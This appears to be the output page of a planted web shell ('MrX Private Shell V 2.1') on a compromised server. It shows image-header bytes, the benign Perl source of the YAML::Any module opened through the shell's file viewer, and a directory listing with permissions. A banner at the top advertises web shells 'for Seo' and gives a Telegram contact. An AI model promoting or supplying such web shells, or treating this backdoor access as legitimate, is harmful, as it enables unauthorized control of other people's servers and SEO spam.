����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict; use warnings;
package YAML::Any;
our $VERSION = '1.30';
use Exporter ();
@YAML::Any::ISA = 'Exporter';
@YAML::Any::EXPORT = qw(Dump Load);
@YAML::Any::EXPORT_OK = qw(DumpFile LoadFile);
my @dump_options = qw(
UseCode
DumpCode
SpecVersion
Indent
UseHeader
UseVersion
SortKeys
AnchorPrefix
UseBlock
UseFold
CompressSeries
InlineSeries
UseAliases
Purity
Stringify
);
my @load_options = qw(
UseCode
LoadCode
Preserve
);
my @implementations = qw(
YAML::XS
YAML::Syck
YAML::Old
YAML
YAML::Tiny
);
sub import {
__PACKAGE__->implementation;
goto &Exporter::import;
}
sub Dump {
no strict 'refs';
no warnings 'once';
my $implementation = __PACKAGE__->implementation;
for my $option (@dump_options) {
my $var = "$implementation\::$option";
my $value = $$var;
local $$var;
$$var = defined $value ? $value : ${"YAML::$option"};
}
return &{"$implementation\::Dump"}(@_);
}
sub DumpFile {
no strict 'refs';
no warnings 'once';
my $implementation = __PACKAGE__->implementation;
for my $option (@dump_options) {
my $var = "$implementation\::$option";
my $value = $$var;
local $$var;
$$var = defined $value ? $value : ${"YAML::$option"};
}
return &{"$implementation\::DumpFile"}(@_);
}
sub Load {
no strict 'refs';
no warnings 'once';
my $implementation = __PACKAGE__->implementation;
for my $option (@load_options) {
my $var = "$implementation\::$option";
my $value = $$var;
local $$var;
$$var = defined $value ? $value : ${"YAML::$option"};
}
return &{"$implementation\::Load"}(@_);
}
sub LoadFile {
no strict 'refs';
no warnings 'once';
my $implementation = __PACKAGE__->implementation;
for my $option (@load_options) {
my $var = "$implementation\::$option";
my $value = $$var;
local $$var;
$$var = defined $value ? $value : ${"YAML::$option"};
}
return &{"$implementation\::LoadFile"}(@_);
}
sub order {
return @YAML::Any::_TEST_ORDER
if @YAML::Any::_TEST_ORDER;
return @implementations;
}
sub implementation {
my @order = __PACKAGE__->order;
for my $module (@order) {
my $path = $module;
$path =~ s/::/\//g;
$path .= '.pm';
return $module if exists $INC{$path};
eval "require $module; 1" and return $module;
}
croak("YAML::Any couldn't find any of these YAML implementations: @order");
}
sub croak {
require Carp;
Carp::croak(@_);
}
1;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Dumper | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| Any.pm | File | 2.6 KB | 0644 |
|
| Any.pod | File | 2.82 KB | 0644 |
|
| Dumper.pm | File | 16.69 KB | 0644 |
|
| Dumper.pod | File | 776 B | 0644 |
|
| Error.pm | File | 5.63 KB | 0644 |
|
| Error.pod | File | 666 B | 0644 |
|
| Loader.pm | File | 26.36 KB | 0644 |
|
| Loader.pod | File | 767 B | 0644 |
|
| Marshall.pm | File | 867 B | 0644 |
|
| Marshall.pod | File | 656 B | 0644 |
|
| Mo.pm | File | 3.24 KB | 0644 |
|
| Node.pm | File | 4.32 KB | 0644 |
|
| Node.pod | File | 2.48 KB | 0644 |
|
| Tag.pm | File | 216 B | 0644 |
|
| Tag.pod | File | 538 B | 0644 |
|
| Types.pm | File | 6.44 KB | 0644 |
|
| Types.pod | File | 738 B | 0644 |
|